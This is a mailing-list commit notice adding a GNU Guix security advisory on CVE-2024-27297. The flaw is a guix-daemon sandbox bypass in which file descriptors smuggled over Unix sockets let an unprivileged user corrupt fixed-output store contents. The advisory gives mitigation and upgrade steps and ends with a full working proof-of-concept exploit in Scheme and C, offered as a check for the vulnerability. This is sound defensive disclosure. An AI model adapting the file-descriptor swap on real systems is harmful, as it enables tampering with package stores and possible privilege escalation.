guix-commits
[Top][All Lists]
Advanced

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

branch master updated: website: Add post about CVE-2024-27297.


From: Ludovic Courtès
Subject: branch master updated: website: Add post about CVE-2024-27297.
Date: Tue, 12 Mar 2024 11:35:05 -0400

This is an automated email from the git hooks/post-receive script.

civodul pushed a commit to branch master
in repository guix-artwork.

The following commit(s) were added to refs/heads/master by this push:
     new 06d3d03  website: Add post about CVE-2024-27297.
06d3d03 is described below

commit 06d3d0384d703420d50f1ce34279f85f8f8c8f40
Author: John Kehayias <john.kehayias@protonmail.com>
AuthorDate: Tue Mar 12 16:33:42 2024 +0100

    website: Add post about CVE-2024-27297.
    
    * website/posts/cve-2024-27297-post.md: New file.
---
 website/posts/cve-2024-27297-post.md | 464 +++++++++++++++++++++++++++++++++++
 1 file changed, 464 insertions(+)

diff --git a/website/posts/cve-2024-27297-post.md 
b/website/posts/cve-2024-27297-post.md
new file mode 100644
index 0000000..abaa521
--- /dev/null
+++ b/website/posts/cve-2024-27297-post.md
@@ -0,0 +1,464 @@
+title: Fixed-Output Derivation Sandbox Bypass (CVE-2024-27297)
+author: John Kehayias
+tags: Security Advisory
+date: 2024-03-12 17:00
+---
+
+A security issue has been identified in
+[`guix-daemon`](https://guix.gnu.org/en/manual/devel/en/html_node/Invoking-guix_002ddaemon.html)
+which allows for [fixed-output
+derivations](https://guix.gnu.org/manual/devel/en/html_node/Derivations.html#index-fixed_002doutput-derivations),
+such as source code tarballs or Git checkouts, to be corrupted by an
+unprivileged user. This could also lead to local privilege escalation.
+This was originally reported to Nix but also affects Guix as we share
+some underlying code from an older version of Nix for the
+`guix-daemon`. Readers only interested in making sure their Guix is up
+to date and no longer affected by this vulnerability can skip down to
+the "Upgrading" section.
+
+# Vulnerability
+
+The basic idea of the attack is to pass file descriptors through Unix
+sockets to allow another process to modify the derivation contents.
+This was first reported to Nix by jade and puckipedia with further
+details and a proof of concept
+[here](https://hackmd.io/03UGerewRcy3db44JQoWvw). Note that the proof
+of concept is written for Nix and has been adapted for GNU Guix below.
+This security advisory is registered as
+[CVE-2024-27297](https://www.cve.org/CVERecord?id=CVE-2024-27297)
+(details are also available at Nix's GitHub [security
+advisory](https://github.com/NixOS/nix/security/advisories/GHSA-2ffj-w4mj-pg37))
+and rated "moderate" in severity.
+
+A fixed-output
+[derivation](https://guix.gnu.org/en/manual/devel/en/html_node/Derivations.html)
+is one where the output hash is known in advance. For instance, to
+produce a source tarball. The GNU Guix build sandbox purposefully
+excludes network access (for security and to ensure we can control and
+reproduce the build environment), but a fixed-output derivation does
+have network access, for instance to download that source tarball.
+However, as stated, the hash of output must be known in advance, again
+for security (we know if the file contents would change) and
+reproducibility (should always have the same output). The
+`guix-daemon` handles the build process and writing the output to the
+store, as a privileged process.
+
+In the build sandbox for a fixed-output derivation, a file descriptor
+to its contents could be shared with another process via a Unix
+socket. This other process, outside of the build sandbox, can then
+modify the contents written to the store, changing them to something
+malicious or otherwise corrupting the output. While the output hash
+has already been determined, these changes would mean a fixed-output
+derivation could have contents written to the store which do not match
+the expected hash. This could then be used by the user or other
+packages as well.
+
+# Mitigation
+
+This security issue (tracked [here](https://issues.guix.gnu.org/69728)
+for GNU Guix) has been fixed by
+[two](https://git.savannah.gnu.org/cgit/guix.git/commit/?id=8f4ffb3fae133bb21d7991e97c2f19a7108b1143)
+[commits](https://git.savannah.gnu.org/cgit/guix.git/commit/?id=ff1251de0bc327ec478fc66a562430fbf35aef42)
+by Ludovic Courtès. Users should make sure they have updated to [this
+second
+commit](https://git.savannah.gnu.org/cgit/guix.git/commit/?id=ff1251de0bc327ec478fc66a562430fbf35aef42)
+to be protected from this vulnerability. Upgrade instructions are in
+the following section.
+
+While several possible mitigation strategies were detailed in the
+original report, the simplest fix is just copy the derivation output
+somewhere else, deleting the original, before writing to the store.
+Any file descriptors will no longer point to the contents which get
+written to the store, so only the `guix-daemon` should be able to
+write to the store, as designed. This is what the Nix project used in
+their [own
+fix](https://github.com/NixOS/nix/commit/244f3eee0bbc7f11e9b383a15ed7368e2c4becc9).
+This does add an additional copy/delete for each file, which may add a
+performance penalty for derivations with many files.
+
+A proof of concept by Ludovic, adapted from the one in the original
+Nix report, is available at the end of this post. One can run this
+code with
+
+```sh
+guix build -f fixed-output-derivation-corruption.scm -M4
+```
+
+This will output whether the current `guix-daemon` being used is
+vulnerable or not. If it is vulnerable, the output will include a line similar 
to
+
+```sh
+We managed to corrupt 
/gnu/store/yls7xkg8k0i0qxab8sv960qsy6a0xcz7-derivation-that-exfiltrates-fd-65f05aca-17261,
 meaning that YOUR SYSTEM IS VULNERABLE!
+```
+
+The corrupted file can be removed with
+
+```sh
+guix gc -D 
/gnu/store/yls7xkg8k0i0qxab8sv960qsy6a0xcz7-derivation-that-exfiltrates-fd*
+```
+
+In general, corrupt files from the store can be found with
+
+```sh
+guix gc --verify=contents
+```
+
+which will also include any files corrupted by through this
+vulnerability. Do note that this command can take a long time to
+complete as it checks every file under `/gnu/store`, which likely has
+many files.
+
+# Upgrading
+
+Due to the severity of this security advisory, we strongly recommend
+all users to upgrade their `guix-daemon` immediately.
+
+For a Guix System the procedure is just reconfiguring the system after
+a `guix pull`, either restarting `guix-daemon` or rebooting. For
+example,
+
+```sh
+guix pull
+sudo guix system reconfigure /run/current-system/configuration.scm
+sudo herd restart guix-daemon
+```
+
+where `/run/current-system/configuration.scm` is the current system
+configuration but could, of course, be replaced by a system
+configuration file of a user's choice.
+
+For Guix running as a package manager on other distributions, one
+needs to `guix pull` with `sudo`, as the `guix-daemon` runs as root,
+and restart the `guix-daemon` service. For example, on a system using
+systemd to manage services,
+
+```sh
+sudo --login guix pull
+sudo systemctl restart guix-daemon.service
+```
+
+Note that for users with their distro's package of Guix (as opposed to
+having used the [install
+script](https://guix.gnu.org/en/manual/devel/en/html_node/Binary-Installation.html))
+you may need to take other steps or upgrade the Guix package as per
+other packages on your distro. Please consult the relevant
+documentation from your distro or contact the package maintainer for
+additional information or questions.
+
+# Conclusion
+
+One of the key features and design principles of GNU Guix is to allow
+unprivileged package management through a secure and reproducible
+[build
+environment](https://guix.gnu.org/en/manual/devel/en/html_node/Build-Environment-Setup.html).
+While every effort is made to protect the user and system from any
+malicious actors, it is always possible that there are flaws yet to be
+discovered, as has happened here. In this case, using the ingredients
+of how file descriptors and Unix sockets work even in the isolated
+build environment allowed for a security vulnerability with moderate
+impact.
+
+Our thanks to jade and puckipedia for the original report, and Picnoir
+for bringing this to the attention of the GNU Guix [security
+team](https://guix.gnu.org/en/security/). And a special thanks to
+Ludovic Courtès for a prompt fix and proof of concept.
+
+Note that there are current efforts to rewrite the `guix-daemon` in
+Guile by Christopher Baines. For more information and the latest news
+on this front, please refer to the [recent blog
+post](https://guix.gnu.org/en/blog/2023/a-build-daemon-in-guile/) and
+[this
+message](https://lists.gnu.org/archive/html/guix-devel/2024-02/msg00253.html)
+on the [guix-devel](https://lists.gnu.org/mailman/listinfo/guix-devel)
+mailing list.
+
+## Proof of Concept
+
+Below is code to check if a `guix-daemon` is vulnerable to this
+exploit. Save this file as `fixed-output-derivation-corruption.scm`
+and run following the instructions above, in "Mitigation." Some
+further details and example output can be found on [issue
+#69728](https://issues.guix.gnu.org/69728#5)
+
+```scheme
+;; Checking for CVE-2024-27297.
+;; Adapted from <https://hackmd.io/03UGerewRcy3db44JQoWvw>.
+
+(use-modules (guix)
+             (guix modules)
+             (guix profiles)
+             (gnu packages)
+             (gnu packages gnupg)
+             (gcrypt hash)
+             ((rnrs bytevectors) #:select (string->utf8)))
+
+(define (compiled-c-code name source)
+  (define build-profile
+    (profile (content (specifications->manifest '("gcc-toolchain")))))
+
+  (define build
+    (with-extensions (list guile-gcrypt)
+     (with-imported-modules (source-module-closure '((guix build utils)
+                                                     (guix profiles)))
+       #~(begin
+           (use-modules (guix build utils)
+                        (guix profiles))
+           (load-profile #+build-profile)
+           (system* "gcc" "-Wall" "-g" "-O2" #+source "-o" #$output)))))
+
+  (computed-file name build))
+
+(define sender-source
+  (plain-file "sender.c" "
+      #include <sys/socket.h>
+      #include <sys/un.h>
+      #include <stdlib.h>
+      #include <stddef.h>
+      #include <stdio.h>
+      #include <unistd.h>
+      #include <fcntl.h>
+      #include <errno.h>
+
+      int main(int argc, char **argv) {
+          setvbuf(stdout, NULL, _IOLBF, 0);
+
+          int sock = socket(AF_UNIX, SOCK_STREAM, 0);
+
+          // Set up an abstract domain socket path to connect to.
+          struct sockaddr_un data;
+          data.sun_family = AF_UNIX;
+          data.sun_path[0] = 0;
+          strcpy(data.sun_path + 1, \"dihutenosa\");
+
+          // Now try to connect, To ensure we work no matter what order we are
+          // executed in, just busyloop here.
+          int res = -1;
+          while (res < 0) {
+              printf(\"attempting connection...\\n\");
+              res = connect(sock, (const struct sockaddr *)&data,
+                  offsetof(struct sockaddr_un, sun_path)
+                    + strlen(\"dihutenosa\")
+                    + 1);
+              if (res < 0 && errno != ECONNREFUSED) perror(\"connect\");
+              if (errno != ECONNREFUSED) break;
+              usleep(500000);
+          }
+
+          // Write our message header.
+          struct msghdr msg = {0};
+          msg.msg_control = malloc(128);
+          msg.msg_controllen = 128;
+
+          // Write an SCM_RIGHTS message containing the output path.
+          struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
+          hdr->cmsg_len = CMSG_LEN(sizeof(int));
+          hdr->cmsg_level = SOL_SOCKET;
+          hdr->cmsg_type = SCM_RIGHTS;
+          int fd = open(getenv(\"out\"), O_RDWR | O_CREAT, 0640);
+          memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int));
+
+          msg.msg_controllen = CMSG_SPACE(sizeof(int));
+
+          // Write a single null byte too.
+          msg.msg_iov = malloc(sizeof(struct iovec));
+          msg.msg_iov[0].iov_base = \"\";
+          msg.msg_iov[0].iov_len = 1;
+          msg.msg_iovlen = 1;
+
+          // Send it to the othher side of this connection.
+          res = sendmsg(sock, &msg, 0);
+          if (res < 0) perror(\"sendmsg\");
+          int buf;
+
+          // Wait for the server to close the socket, implying that it has
+          // received the commmand.
+          recv(sock, (void *)&buf, sizeof(int), 0);
+      }"))
+
+(define receiver-source
+  (mixed-text-file "receiver.c" "
+      #include <sys/socket.h>
+      #include <sys/un.h>
+      #include <stdlib.h>
+      #include <stddef.h>
+      #include <stdio.h>
+      #include <unistd.h>
+      #include <sys/inotify.h>
+
+      int main(int argc, char **argv) {
+          int sock = socket(AF_UNIX, SOCK_STREAM, 0);
+
+          // Bind to the socket.
+          struct sockaddr_un data;
+          data.sun_family = AF_UNIX;
+          data.sun_path[0] = 0;
+          strcpy(data.sun_path + 1, \"dihutenosa\");
+          int res = bind(sock, (const struct sockaddr *)&data,
+              offsetof(struct sockaddr_un, sun_path)
+              + strlen(\"dihutenosa\")
+              + 1);
+          if (res < 0) perror(\"bind\");
+
+          res = listen(sock, 1);
+          if (res < 0) perror(\"listen\");
+
+          while (1) {
+              setvbuf(stdout, NULL, _IOLBF, 0);
+              printf(\"accepting connections...\\n\");
+              int a = accept(sock, 0, 0);
+              if (a < 0) perror(\"accept\");
+
+              struct msghdr msg = {0};
+              msg.msg_control = malloc(128);
+              msg.msg_controllen = 128;
+
+              // Receive the file descriptor as sent by the smuggler.
+              recvmsg(a, &msg, 0);
+
+              struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
+              while (hdr) {
+                  if (hdr->cmsg_level == SOL_SOCKET
+                   && hdr->cmsg_type == SCM_RIGHTS) {
+                      int res;
+
+                      // Grab the copy of the file descriptor.
+                      memcpy((void *)&res, CMSG_DATA(hdr), sizeof(int));
+                      printf(\"preparing our hand...\\n\");
+
+                      ftruncate(res, 0);
+                      // Write the expected contents to the file, tricking Nix
+                      // into accepting it as matching the fixed-output hash.
+                      write(res, \"hello, world\\n\", strlen(\"hello, 
world\\n\"));
+
+                      // But wait, the file is bigger than this! What could
+                      // this code hide?
+
+                      // First, we do a bit of a hack to get a path for the
+                      // file descriptor we received. This is necessary because
+                      // that file doesn't exist in our mount namespace!
+                      char buf[128];
+                      sprintf(buf, \"/proc/self/fd/%d\", res);
+
+                      // Hook up an inotify on that file, so whenever Nix
+                      // closes the file, we get notified.
+                      int inot = inotify_init();
+                      inotify_add_watch(inot, buf, IN_CLOSE_NOWRITE);
+
+                      // Notify the smuggler that we've set everything up for
+                      // the magic trick we're about to do.
+                      close(a);
+
+                      // So, before we continue with this code, a trip into Nix
+                      // reveals a small flaw in fixed-output derivations. When
+                      // storing their output, Nix has to hash them twice. Once
+                      // to verify they match the \"flat\" hash of the 
derivation
+                      // and once more after packing the file into the NAR that
+                      // gets sent to a binary cache for others to consume. And
+                      // there's a very slight window inbetween, where we could
+                      // just swap the contents of our file. But the first hash
+                      // is still noted down, and Nix will refuse to import our
+                      // NAR file. To trick it, we need to write a reference to
+                      // a store path that the source code for the smuggler drv
+                      // references, to ensure it gets picked up. Continuing...
+
+                      // Wait for the next inotify event to drop:
+                      read(inot, buf, 128);
+
+                      // first read + CA check has just been done, Nix is about
+                      // to chown the file to root. afterwards, refscanning
+                      // happens...
+
+                      // Empty the file, seek to start.
+                      ftruncate(res, 0);
+                      lseek(res, 0, SEEK_SET);
+
+                      // We swap out the contents!
+                      static const char content[] = \"This file has been 
corrupted!\\n\";
+                      write(res, content, strlen (content));
+                      close(res);
+
+                      printf(\"swaptrick finished, now to wait..\\n\");
+                      return 0;
+                  }
+
+                  hdr = CMSG_NXTHDR(&msg, hdr);
+              }
+              close(a);
+          }
+      }"))
+
+(define nonce
+  (string-append "-" (number->string (car (gettimeofday)) 16)
+                 "-" (number->string (getpid))))
+
+(define original-text
+  "This is the original text, before corruption.")
+
+(define derivation-that-exfiltrates-fd
+  (computed-file (string-append "derivation-that-exfiltrates-fd" nonce)
+                 (with-imported-modules '((guix build utils))
+                   #~(begin
+                       (use-modules (guix build utils))
+                       (invoke #+(compiled-c-code "sender" sender-source))
+                       (call-with-output-file #$output
+                         (lambda (port)
+                           (display #$original-text port)))))
+                 #:options `(#:hash-algo sha256
+                             #:hash ,(sha256
+                                      (string->utf8 original-text)))))
+
+(define derivation-that-grabs-fd
+  (computed-file (string-append "derivation-that-grabs-fd" nonce)
+                 #~(begin
+                     (open-output-file #$output) ;make sure there's an output
+                     (execl #+(compiled-c-code "receiver" receiver-source)
+                            "receiver"))
+                 #:options `(#:hash-algo sha256
+                             #:hash ,(sha256 #vu8()))))
+
+(define check
+  (computed-file "checking-for-vulnerability"
+                 #~(begin
+                     (use-modules (ice-9 textual-ports))
+
+                     (mkdir #$output)            ;make sure there's an output
+                     (format #t "This depends on ~a, which will grab the file
+descriptor and corrupt ~a.~%~%"
+                             #+derivation-that-grabs-fd
+                             #+derivation-that-exfiltrates-fd)
+
+                     (let ((content (call-with-input-file
+                                        #+derivation-that-exfiltrates-fd
+                                      get-string-all)))
+                       (format #t "Here is what we see in ~a: ~s~%~%"
+                               #+derivation-that-exfiltrates-fd content)
+                       (if (string=? content #$original-text)
+                           (format #t "Failed to corrupt ~a, \
+your system is safe.~%"
+                                   #+derivation-that-exfiltrates-fd)
+                           (begin
+                             (format #t "We managed to corrupt ~a, \
+meaning that YOUR SYSTEM IS VULNERABLE!~%"
+                                     #+derivation-that-exfiltrates-fd)
+                             (exit 1)))))))
+
+check
+```
+
+### About GNU Guix
+
+[GNU Guix](https://guix.gnu.org) is a transactional package manager
+and an advanced distribution of the GNU system that [respects user
+freedom](https://www.gnu.org/distros/free-system-distribution-guidelines.html).
+Guix can be used on top of any system running the Hurd or the Linux
+kernel, or it can be used as a standalone operating system
+distribution for i686, x86_64, ARMv7, AArch64, and POWER9 machines.
+
+In addition to standard package management features, Guix supports
+transactional upgrades and roll-backs, unprivileged package
+management, per-user profiles, and garbage collection. When used as a
+standalone GNU/Linux distribution, Guix offers a declarative,
+stateless approach to operating system configuration management. Guix
+is highly customizable and hackable through
+[Guile](https://www.gnu.org/software/guile) programming interfaces and
+extensions to the [Scheme](http://schemers.org) language.



reply via email to

[Prev in Thread] Current Thread [Next in Thread]